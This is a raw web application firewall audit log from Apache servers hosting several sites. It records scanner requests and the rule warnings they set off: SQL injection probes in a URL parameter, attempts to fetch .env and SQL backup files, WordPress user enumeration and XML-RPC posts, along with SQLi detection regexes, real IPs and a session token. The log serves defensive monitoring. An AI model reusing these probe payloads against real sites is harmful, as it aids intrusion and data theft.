rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --75c6a416-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201--%20BrMn Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --75c6a416-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- brmn found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' order by 1-- brmn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- brmn found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' order by 1-- brmn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89ygiLzf5Jb_3uGhHgFwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023626034333 214031 (- - -) Stopwatch2: 1750023626034333 214031; combined=3993, p1=334, p2=3539, p3=0, p4=0, p5=119, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75c6a416-Z-- --a98e6a02-A-- [16/Jun/2025:03:10:27.025093 +0530] aE89yorLgrklqy57Kk2cbgAAAAg 172.68.194.212 37424 127.0.0.1 7081 --a98e6a02-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20ORDER%20BY%205650--%20WLow HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.212 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539d30cbc3737-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a98e6a02-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%205650--%20WLow Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a98e6a02-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5650-- wlow found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' order by 5650-- wlow"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5650-- wlow found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' order by 5650-- wlow"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89yorLgrklqy57Kk2cbgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023626804152 221034 (- - -) Stopwatch2: 1750023626804152 221034; combined=4031, p1=424, p2=3474, p3=0, p4=0, p5=132, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a98e6a02-Z-- --c5217876-A-- [16/Jun/2025:03:10:27.755479 +0530] aE89yxAGYpjnkyifC9YgcwAAAAU 162.158.111.183 37452 127.0.0.1 7081 --c5217876-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201--%20tIhj HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.183 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539d7ee7b371a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c5217876-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201--%20tIhj Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c5217876-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- tihj found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1-- tihj"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- tihj found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1-- tihj"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89yxAGYpjnkyifC9YgcwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023627563428 192153 (- - -) Stopwatch2: 1750023627563428 192153; combined=2972, p1=351, p2=2495, p3=0, p4=0, p5=126, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5217876-Z-- --38d5fc03-A-- [16/Jun/2025:03:10:28.519445 +0530] aE89zFR6EeXjkGzEkbllIwAAAAs 172.70.248.9 37494 127.0.0.1 7081 --38d5fc03-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201076--%20qgvI HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.9 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539dc7e6274e3-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --38d5fc03-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201076--%20qgvI Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --38d5fc03-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1076-- qgvi found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1076-- qgvi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1076-- qgvi found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1076-- qgvi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89zFR6EeXjkGzEkbllIwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023628302782 216764 (- - -) Stopwatch2: 1750023628302782 216764; combined=3029, p1=344, p2=2563, p3=0, p4=0, p5=122, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38d5fc03-Z-- --0a59d176-A-- [16/Jun/2025:03:10:30.597435 +0530] aE89zX2GhYywD7zZgx76bgAAAAM 185.177.72.210 41026 127.0.0.1 7081 --0a59d176-B-- GET /:8008/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a59d176-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ac8db140970e8923d458478c8ba1e171750023630; expires=Sun, 15 Jun 2025 22:40:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a59d176-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/v1/.env"] [unique_id "aE89zX2GhYywD7zZgx76bgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023629935746 661751 (- - -) Stopwatch2: 1750023629935746 661751; combined=1715, p1=436, p2=1186, p3=0, p4=0, p5=92, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a59d176-Z-- --e6bbac46-A-- [16/Jun/2025:03:10:40.209779 +0530] aE8917sEVBap6l1Fvp1AVgAAAAQ 172.68.19.33 38900 127.0.0.1 7081 --e6bbac46-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.19.33 X-Forwarded-For: 186.166.201.193 Connection: close cf-ray: 95053a233fd8012c-GRU cf-ipcountry: VE referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 186.166.201.193 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --e6bbac46-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --e6bbac46-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8917sEVBap6l1Fvp1AVgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023639945616 264262 (- - -) Stopwatch2: 1750023639945616 264262; combined=2073, p1=346, p2=1615, p3=0, p4=0, p5=111, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6bbac46-Z-- --4074b212-A-- [16/Jun/2025:03:10:53.058029 +0530] aE895ENwpNEMJppxC49SGgAAAAI 104.23.221.175 34440 127.0.0.1 7081 --4074b212-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 104.23.221.175 X-Forwarded-For: 87.236.20.78 Connection: close cf-ray: 95053a73babb0b9c-ARN cf-ipcountry: RU referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 87.236.20.78 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --4074b212-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --4074b212-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE895ENwpNEMJppxC49SGgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023652757529 300593 (- - -) Stopwatch2: 1750023652757529 300593; combined=2362, p1=345, p2=1919, p3=0, p4=0, p5=98, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4074b212-Z-- --def05a4c-A-- [16/Jun/2025:03:10:54.338939 +0530] aE895R-kH31pk4mNbsU_YAAAAAo 128.199.112.101 34458 127.0.0.1 7081 --def05a4c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --def05a4c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --def05a4c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE895R-kH31pk4mNbsU_YAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023653349950 989044 (- - -) Stopwatch2: 1750023653349950 989044; combined=2520, p1=383, p2=1689, p3=41, p4=95, p5=190, sr=106, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --def05a4c-Z-- --583bd33c-A-- [16/Jun/2025:03:11:02.457001 +0530] aE897hAGYpjnkyifC9YgggAAAAU 172.71.164.156 56390 127.0.0.1 7081 --583bd33c-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.156 X-Forwarded-For: 159.255.164.196 Connection: close cf-ray: 95053aae6a6ed27c-FRA cf-ipcountry: IQ referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 159.255.164.196 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --583bd33c-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --583bd33c-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE897hAGYpjnkyifC9YgggAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023662134787 322311 (- - -) Stopwatch2: 1750023662134787 322311; combined=2136, p1=356, p2=1664, p3=0, p4=0, p5=115, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --583bd33c-Z-- --4cce1953-A-- [16/Jun/2025:03:11:13.522495 +0530] aE89-NkGqt_oHz6gRVdJUwAAAAw 185.177.72.210 58708 127.0.0.1 7081 --4cce1953-B-- GET /back.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4cce1953-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=31c4bad8b8be8416f565ac235f81d7731750023673; expires=Sun, 15 Jun 2025 22:41:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4cce1953-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file 